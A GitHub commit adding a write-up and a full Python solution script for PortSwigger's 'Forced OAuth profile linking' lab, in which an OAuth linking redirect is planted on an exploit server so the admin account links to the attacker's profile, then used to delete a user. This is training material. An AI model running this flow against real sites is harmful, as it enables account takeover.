Skip to content

Commit

Permalink
Add Forced OAuth profile linking
Browse files Browse the repository at this point in the history
  • Loading branch information
frank-leitner committed Oct 29, 2022
1 parent 96ad048 commit a1e10f4
Show file tree
Hide file tree
Showing 13 changed files with 291 additions and 1 deletion.
73 changes: 73 additions & 0 deletions 22_OAuth_authentication/Forced_OAuth_profile_linking/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
# Write-up: Forced OAuth profile linking @ PortSwigger Academy

![logo](img/logo.png)

This write-up for the lab *Forced OAuth profile linking* is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security).

**Learning path**: Advanced topics → OAuth authentication

Lab-Link: <https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking>
Difficulty: PRACTITIONER
Python script: [script.py](script.py)

## Lab description

![Lab description](img/lab_description.png)

## Steps

### Analysis

As usual, the first step is to analyze the functionality of the lab application. In this lab, it is a blog system. I also have access to an exploit server that can host a web page that I can send to my victim.

The application allows me to link a social media profile to my account. Afterward, I can use it to log in with that instead of my credentials.

![](img/my_account.png)

So I do just that to analyze the traffic that is involved by linking the accounts:

![All requests of the linking process](img/link_accounts_all_requests.png)

![Request #27 initiates the linking process](img/initial_request_to_oauth.png)

What is noteworthy about this request is that it does not appear to contain any identifier by which the application is later able to verify that the response received by the oauth provider was triggered by the user that is logged in then.

![Request #37 finalizes the account linking](img/redirect_back_to_client.png)

Sure enough, once all the requests between my browser and the OAuth provider are done, the request to the OAuth client (the blog application) contains a code provided by the OAuth provider as well as my session cookie.

### The theory

I now know that the linking between my application login and the OAuth provider is done on the last redirect of the linking process.

Based on the request history I assume that the OAuth access is linked to the account that is logged in at the time of this latter request.

I assume that I can initiate the OAuth linking from my own account but drop the final request back to the application. I then create a page on the exploit server that contains this final redirect and send it to the victim.

My OAuth account should then be linked to the administrator account of the application.

### The malicious payload

As my OAuth account is already linked to the account of `wiener`, I wait for the timeout of the lab application to continue.

initiate the attack by starting to link my OAuth account. I then drop the final request back to the application:

![](img/dropped_request.png)

That request was caused by a redirect from the OAuth provider back to the application. I go to the HTTP history, copy the response and paste it as a page on my exploit server.

The important part is the `Location` header that initiates the redirect, so I some of the clutter, especially the cookies:

![](img/stored_exploit.png)

I send the exploit to the victim and hope that the administrator checks that page.

To find out if I was successful, I log out of the application and login with the OAuth provider.

Luckily, the administrator obeys the lab description and checks all pages. My account page now shows that my social media account is linked to the administrator account on the blog application:

![](img/admin_account.png)

Once I access the admin panel and delete user `carlos`, the lab updates to

![Lab solved](img/success.png)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
217 changes: 217 additions & 0 deletions 22_OAuth_authentication/Forced_OAuth_profile_linking/script.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,217 @@
#!/usr/bin/env python3
# Forced OAuth profile linking
# Lab-Link: https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking
# Difficulty: PRACTITIONER
from bs4 import BeautifulSoup
import requests
import sys
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


def get_csrf_token(text):
soup = BeautifulSoup(text, 'html.parser')
return soup.find('input', attrs={'name': 'csrf'})['value']


def find_exploitserver(text):
soup = BeautifulSoup(text, 'html.parser')
try:
result = soup.find('a', attrs={'id': 'exploit-link'})['href']
except TypeError:
return None
return result


def login(client, host, username, password):
url = f'{host}/login'

r = client.get(url)
csrf = get_csrf_token(r.text)

data = {'csrf': csrf,
'username': username,
'password': password}
res = client.post(url, data=data)
return f'Your username is: {username}' in res.text


def get_oauth_link(client, host):
url = f'{host}/my-account'
r = client.get(url)
try:
soup = BeautifulSoup(r.text, 'html.parser')
result = soup.findAll('a', text='Attach a social profile')[0]['href']
except TypeError:
return None
return result


def get_redirect_url(client, host, oauth_link):
oauth_url_details = urllib3.util.parse_url(oauth_link)
oauth_host = f'{oauth_url_details.scheme}://{oauth_url_details.host}'

def get_login_form_target(text):
try:
soup = BeautifulSoup(text, 'html.parser')
result = soup.find('form', attrs={'class': 'login-form'})['action']
except TypeError:
return None
return result

def get_confirm_form_target(text):
try:
soup = BeautifulSoup(text, 'html.parser')
result = soup.find('form', attrs={'method': 'post'})['action']
except TypeError:
return None
return result

def get_redirect_target(url):
# The confirmation starts a redirect flow that finalizes at the web application.
# Thus, I need to forbid redirects and perform the requests manually
try:
r = client.post(url, allow_redirects=False)
r = client.get(r.headers['Location'], allow_redirects=False)
redirect_target = r.headers['Location']
except TypeError:
return None
return redirect_target


# Initiates the interaction and redirects to OAuth login
r = client.get(oauth_link)
login_target = get_login_form_target(r.text)
if not login_target:
print(f'[-] Failed to obtain login target from OAuth form')
return None

url = f'{oauth_host}{login_target}'
data = {
'username': 'peter.wiener',
'password': 'hotdog'
}
r = client.post(url, data=data)
confirm_target = get_confirm_form_target(r.text)
if not confirm_target:
print(f'[-] Failed to obtain confirm target from OAuth form')
return None

url = f'{oauth_host}{confirm_target}'
redirect_target = get_redirect_target(url)
if 'oauth-linking?code' not in redirect_target:
print(f'[-] Failed to extract redirect target from OAuth response')
return None

return redirect_target


def store_exploit(client, exploit_server, redirect_url):
data = {'urlIsHttps': 'on',
'responseFile': '/exploit',
'responseHead': '''HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Location:''' + redirect_url,
'responseBody': 'Nothing here...',
'formAction': 'STORE'}

return client.post(exploit_server, data=data).status_code == 200


def oauth_login(client, host):
def get_oauth_login_link(client, host):
url = f'{host}/login'
r = client.get(url)
try:
soup = BeautifulSoup(r.text, 'html.parser')
result = soup.findAll('a', text='Login with social media')[0]['href']
except TypeError:
return None
return result

oauth_link = get_oauth_login_link(client, host)
if not oauth_link:
print(f'[-] Failed to obtain OAuth sign in link')
return None
print(f'[+] Obtained OAuth sign in link: {oauth_link}')

r = client.get(oauth_link)
return "You have successfully logged in with your social media account" in r.text


def main():
print('[+] Forced OAuth profile linking')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)

with requests.Session() as client:
client.verify = False
client.proxies = proxies

exploit_server = find_exploitserver(client.get(host).text)
if exploit_server is None:
print(f'[-] Failed to find exploit server')
sys.exit(-2)
print(f'[+] Exploit server: {exploit_server}')

if not login(client, host, 'wiener', 'peter'):
print(f'[-] Failed to login as wiener')
sys.exit(-3)
print(f'[+] Logged in as wiener')

oauth_link = get_oauth_link(client, host)
if not oauth_link:
print(f'[-] Failed to find link to OAuth provider')
sys.exit(-4)
print(f'[+] Found link to OAuth provider: {oauth_link}')

redirect_url = get_redirect_url(client, host, oauth_link)
if not redirect_url:
print(f'[-] Failed to obtain redirect URL')
sys.exit(-5)
print(f'[+] Logged in with OAuth provider')
print(f'[+] Obtained redirect URL: {redirect_url}')

if not store_exploit(client, exploit_server, redirect_url):
print(f'[-] Failed to store exploit file')
sys.exit(-6)
print(f'[+] Stored exploit file')

if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
print(f'[-] Failed to deliver exploit to victim')
sys.exit(-7)
print(f'[+] Delivered exploit to victim')

if client.get(f'{host}/logout', allow_redirects=False).status_code != 302:
print(f'[-] Failed to logout as wiener')
sys.exit(-8)
print(f'[+] Logged out as wiener')

if not oauth_login(client, host):
print(f'[-] Failed to login with social media account')
sys.exit(-10)
print(f'[+] Logged in with social media account')

url = f'{host}/admin/delete?username=carlos'
if client.get(f'{url}', allow_redirects=False).status_code != 302:
print(f'[-] Failed to delete user carlos')
sys.exit(-12)
print(f'[+] Apparently deleted user carlos')

# I had some times issues getting the proper result, so wait briefly before checking
time.sleep(2)
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print(f'[-] Failed to solve lab')
sys.exit(-99)

print(f'[+] Lab solved')


if __name__ == "__main__":
main()
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,7 +40,7 @@ So I create the scripts to learn about python and how to use it to interact with
| 19 | Web cache poisoning || 0/13 |
| 20 | HTTP Host header attacks || 2/6 |
| 21 | HTTP request smuggling || 1/12 |
| 22 | OAuth authentication || 1/6 |
| 22 | OAuth authentication || 2/6 |
| 23 | JWT attacks || 4/8 |

Current status of script solutions:
Expand Down

0 comments on commit a1e10f4

Please sign in to comment.